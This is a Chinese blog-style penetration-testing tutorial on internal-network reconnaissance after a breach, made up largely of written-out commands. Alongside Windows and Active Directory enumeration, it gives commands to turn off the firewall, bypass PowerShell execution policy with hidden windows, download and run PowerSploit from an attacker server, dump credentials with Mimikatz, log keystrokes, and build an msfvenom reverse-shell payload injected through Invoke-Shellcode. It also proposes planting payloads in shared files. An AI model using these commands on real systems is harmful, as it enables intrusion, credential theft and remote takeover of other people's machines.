渗透测试|001--内网渗透之信息收集

当我们通过渗透进入内网环境后,对网络拓扑一无所知,测试人员应先对当前网络环境做出判断。对当前机器角色分析,对机器所处网络环境拓扑结构分析,对机器所处区域分析。从而展开下一步攻击。
对机器所处网络环境分析
对所处内网进行全面数据收集和分析整理,绘制出大致的内网整体结构拓扑。
对机器所处区域分析
判断机器所处于网络拓扑哪个区域,是在DMZ区、办公区、核心区。区域并不是绝对的,所以区域界限也是相对的。
落地机角色分析
判断当前主机是web服务器、开发测试服务器、公共服务器、文件服务器、代理服务器、dns服务器、存储服务器等。具体判断过程可根据主机名,文件内容,网络链接情况综合完成。

  • 文件服务器:配合社工,生成payload捆绑到文件服务器公用文件上,可批量上线主机
  • DNS服务器:端口53,可通过DNS服务器获取内网web系统信息,或者探测域信息
  • DHCP服务器:查看内网多组网段信息,更多的获取拓补信息
  • 开发测试服务器:获取源码,新的信息资产,多存在弱口令
  • 代理服务器:获取服务器账号,拿到各种密码
  • web服务器:可能需要提权
  • 个人PC:查看是否存在域环境
一、落地机信息收集 本机信息收集包括操作系统、权限、内网IP地址段、杀软、端口、服务、补丁情况、网络环境情况、共享、会话等。如果是域内主机,那么操作系统、应用软件、补丁、服务、杀软一般都是批量安装的。
内网网段信息收集
只有找到不同网段才能进行纵向渗透,否则只能横向渗透
1.端口扫描:用s.exe工具进行扫描,例如渗透到192.168.1.10网段,可能存在192.168.2.0/3.0网段等。只扫描网段的一个端口以探测是否存在该网段。如果有端口信息回显表示该网段存在,可以进行深入探测。常见端口:windows:445/linux:22
2.抓包分析网络流量,看网段信息。也可以使用meterpreter做转发抓取目标所在网络流量
3.渗透路由器、核心交换机
4.文件共享/FTP连接记录、浏览器访问记录、mstsc连接记录、ssh连接记录
ftp与mstsc
渗透测试|001--内网渗透之信息收集
文章图片
浏览器
渗透测试|001--内网渗透之信息收集
文章图片
xshell
渗透测试|001--内网渗透之信息收集
文章图片
手动信息收集
#查询网络配置信息。进行IP地址段信息收集 ipconfig /all #查询操作系统及软件信息 systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 英文系统 systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" #中文系统 # 查看系统体系结构 echo %PROCESSOR_ARCHITECTURE% #PowerShell收集软件的版本信息 powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version" #查看当前权限 whoami && whoami /priv #查询本机服务信息 wmic service list brief #查看安装的软件的版本、路径等 wmic product get name, version #查询进程信息 wmic process list brief #查看启动程序信息 wmic startup get command,caption #查看计划任务 at(win10之前) schtasks /query /fo LIST /v(win10) #查看主机开机时间 net statistics workstation #查看本机用户列表 net user #获取本地管理员信息 net localgroup administrators #查看当前在线用户 query user || qwinsta #列出或断开本地计算机与所连接的客户端的对话 net session #查询端口列表 netstat -ano/-tnlp #查看补丁列表 systeminfo # 查看补丁的名称、描述、ID、安装时间等 wmic qfe get Caption,Description,HotFixID,InstalledOn #查看本机共享列表和可访问的域共享列表 net share (445端口) #查找共享列表 wmic share get name,path,status #磁盘映射 net use k:\\192.168.1.10\c$ #查看当前系统版本 wmic OS get Caption,CSDVersion,OSArchitecture,Version #查询路由表 route print #可用接口的ARP缓存表。局域网内arp -a,查看是否有重复的mac地址判断是否存在arp欺骗。服务器绑定mac地址方式防止arp欺骗 arp -a 查询防火墙相关配置 #关闭防火墙(Windows Server 2003 以前的版本) netsh firewall set opmode disable #关闭防火墙(Windows Server 2003 以后的版本) netsh advfirewall set allprofiles state off #查看防火墙配置(netsh命令也可以用作端口转发) netsh firewall show config #查看服务 tasklist #查看在线用户 quser #查看远程连接信息 cmdkey /l #查看杀软 WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List #查看本地密码策略 net accounts #查看hosts文件: linux:cat/etc/hosts windows:typec:\Windows\system32\drivers\etc\hosts #查看dns缓存 ipconfig/displaydns

批处理脚本自动化信息收集。为了简化手动信息收集的繁琐步骤,我们可用使用自动化脚本 —— WMIC(Windows管理工具命令行)脚本,脚本下载地址,执行该脚本以后,会将信息收集的结果写入HTML文档。
项目地址:http://www.fuzzysecurity.com/scripts/files/wmic_info.rar
二、域环境信息收集 判断是否存在域。ipconfig /all 可查看网关IP地址、DNS的IP地址、域名、本机是否和DNS服务器处在同一网段等。通过反向解析查询命令nslookup来解析域名的IP地址,用解析到的IP地址进行对比,判断域控服务器和DNS服务器是否在同一台机器上。
#查看当前权限 whoami #获取域用户SID whoami /all #查询指定用户的详情信息 net user xxx /domain #查看域内所有账号 net user /domain #对比查看"域(域名)"和"登录服务器(域控制器)"的信息是否匹配 systeminfo #对比查看"工作站域DNS名称(域名)"和"登录域()域控制器"的信息是否相匹配 net config workstation #查看时间可以找到域控 net time /domain #查看域密码策略 net accounts /domain #查看当前登录域 net config workstation #查看域用户 net user /domain # 登录本机的域管理员 net localgroup administrators /domain #获取域控ip ping -a xxx.com #查询域 net view /domain #查询域内的所有计算机 net view /domain:HACHE #查询域的所有组(enterprise admins组权限最大) net group /domain #查看域管理员的用户组 net group "domain admins" /domain #查询域系统管理员用户组 net group "Enterprise admins" /domain #查看域控制器 net group "domain controllers" /domain #查看域控制器的机器名 nltest /DCLIST:hacke #查看dns缓存 ipconfig/displaydns #列域控c盘文件(需要域管理员权限) dir \\WIN-75NA0949GFB.safe-duck.com\c$ #查询所有域成员计算机列表 net group "domain computers" /domain #获取域信任信息 nltest /domain_trusts #获取域内用户的详细信息 wmic useraccount get /all #查看存在的用户 dsquery user #查询所有计算机名称 dsquery computer #攻击主机CMD扫描同网段存活ip for /L %P in (1,1,254) DO @ping ‐w 1 ‐n 1 192.168.1.%P | findstr "TTL =" #查看域控制器 net group "domaincontrollers" /domain

1.域间信任关系可传递;
2.子域必须以父域名作为后缀;
3.DNS(Domain Name Server)用于域名及IP之间的转换。在内网渗透时寻找DNS服务器可以定位DC(DNS服务器与DC通常就是一台主机)
4.活动目录(Active Directory),在域中提供目录服务的组件
5.子域域控DNS服务器要写主域的dns
三、探测内网存活主机 1.nbtscan
使用nbtscan扫描本地或远程TCP/IP网络上开放的NetBIOS名称服务器,使用方法:
nbtscan.exe 192.168.1.1/20

渗透测试|001--内网渗透之信息收集
文章图片

输出的结果第一列为IP地址,第二列为机器名和所在域的名称,第三列即最后一列为及其所开启的服务的列表。
2.使用ICMP协议快速探测内网
3.arp-scan工具.使用方法:
arp-scan --interface=eth0 --localnet

渗透测试|001--内网渗透之信息收集
文章图片

4.Empire的arpscan模块
5.Nishang中的Invoke-ARPScan.ps1脚本
6.s.exe网段单个端口探测主机存活
四、域内端口探测 在内网主机存活探测完成之后,对探测到的资产进行整理,然后端口扫描。注意端口banner信息,注意探测端口触发防御系统
端口扫描工具:s.exe
s.exe tcp 192.168.1.1 192.168.1.254 21,80,3389,445 10

渗透测试|001--内网渗透之信息收集
文章图片
3.telnet命令单个主机单个端口探测
4.Metatsploit框架下"search portscan"
5.PowerSploit的Invoke-ARPScan.ps1脚本
6.Nishang中的Invoke-PortScan模块
五、MSF信息收集 MSF建立会话拿到shell,即可直接执行DOS命令至今进行信息收集。也可以进行直接执行run winenum可以一键收集记录。
run winenum

渗透测试|001--内网渗透之信息收集
文章图片

查看报告:
渗透测试|001--内网渗透之信息收集
文章图片

六、powershell 信息收集 默认powershell是不能执行脚本的,获取脚本策略之后才能使用:
get-executionpolicy

更改执行策略必须以管理员身份执行才可以,否则报错注册表安全问题
set-executionpolicy unrestricted

渗透测试|001--内网渗透之信息收集
文章图片

#exec bypass绕过脚本 #绕过安全策略直行脚本 powershell.exe -Executionpolicy BYpass -file 123.ps1 #本地隐藏绕过权限直行脚本 powershell.exe -Executionpolicy BYpass-windowstyle hidden -nologo -nonlnteractive -noprofile -file 123.ps1 #cmd下使用powershell powershell -exec bypass "import-module c:\powershell.ps1; Get-NetUser"

1.PowerSploit
PowerSploit是PowerShell模块的集合,kali自带,输入powersploit即可。
渗透测试|001--内网渗透之信息收集
文章图片

项目地址:https://github.com/PowerShellMafia/PowerSploit
建立会话后的meterpreter:
#加载模块 load powershell #调用本地ps脚本 powershell_import /usr/share/windows-resources/powersploit/Recon/xx.ps1 #命令执行 powershell_executeGet-NetDomain #获取当前的域名称 Get-NetDomain #返回所有域内成员的详细信息 Get-Netuser #获取所有的域内的控制器信息 Get-NetDomainController #获取所有域内机器的名称 Get-NetComputer #获取域内的所有的网络共享 Get-Netshare #获取指定服务的远程连接信息 Get-NetRDPSESSION #获取进程的详细信息 Get-NetProcess # 获取活动目录的信息 Get-ADOPJECT #判断用户是否登陆计算机且用户是否有管理员权限 invoke-processhunter

渗透测试|001--内网渗透之信息收集
文章图片
powersploit无文件攻击
将下载的文件放在vps上面。确保目标服务器可以访问:
渗透测试|001--内网渗透之信息收集
文章图片

在目标机导入脚本:
iex(new-object net.webclient).downloadstring("http://192.168.1.4/PowerSploit/Recon/Invoke-Portscan.ps1")

渗透测试|001--内网渗透之信息收集
文章图片
即可执行命令:
#扫描网段、端口 invoke-portscan -hosts 192.168.1.1/24 -ports "21,22,80,139,80,445"

渗透测试|001--内网渗透之信息收集
文章图片

#invoke-mimikatz抓取hash iex(new-object net.webclient).downloadstring("http://192.168.1.4/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1") #导hash Invoke-Mimikatz -dumpcreds

渗透测试|001--内网渗透之信息收集
文章图片

#get-keystrokes键盘记录 iex(new-object net.webclient).downloadstring("http://192.168.1.4/PowerSploit/Exfiltration/Get-Keystrokes.ps1") #将键盘记录保存到123.txt里面 Get-Keystrokes -logpath C:\Users\admin\123.txt

渗透测试|001--内网渗透之信息收集
文章图片
powersploit还有很多模块,这里写不过来~
msf调用powershell
#生成powershell payload msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=1123 -f powershell -o /root/xdx.ps1 #开启侦听 use exploit/multi/handler set lport 1123 run #目标下载生成好的ps脚本 iex(new-object net.webclient).downloadstring("http://192.168.3.1/xdx.ps1")xdx.ps1 iex(new-object net.webclient).downloadstring("http://192.168.3.1/PowerSploit/CodeExecution/Invoke-Shellcode.ps1") #可以将msf生成是payload进程注入 invoke-shellcode.ps1 #执行进程注入,msf会反弹回话 Invoke-Shellcode-shellcode$buf-Force

七、中间件配置文件 一个正常的Web应用肯定有对应的数据库账号密码信息,可以使用如下命令寻找包含密码字段的文件:
cd /web findstr/s /m "password" *.*

常用应用的默认配置路径:
Tomcat: CATALINA_HOME/conf/tomcat-users.xml Apache: /etc/httpd/conf/httpd.conf Nginx: /etc/nginx/nginx.conf Wdcp: /www/wdlinux/wdcp/conf/mrpw.conf Mysql: mysql\data\mysql\user.MYD

【渗透测试|001--内网渗透之信息收集】渗透测试|001--内网渗透之信息收集
文章图片

    推荐阅读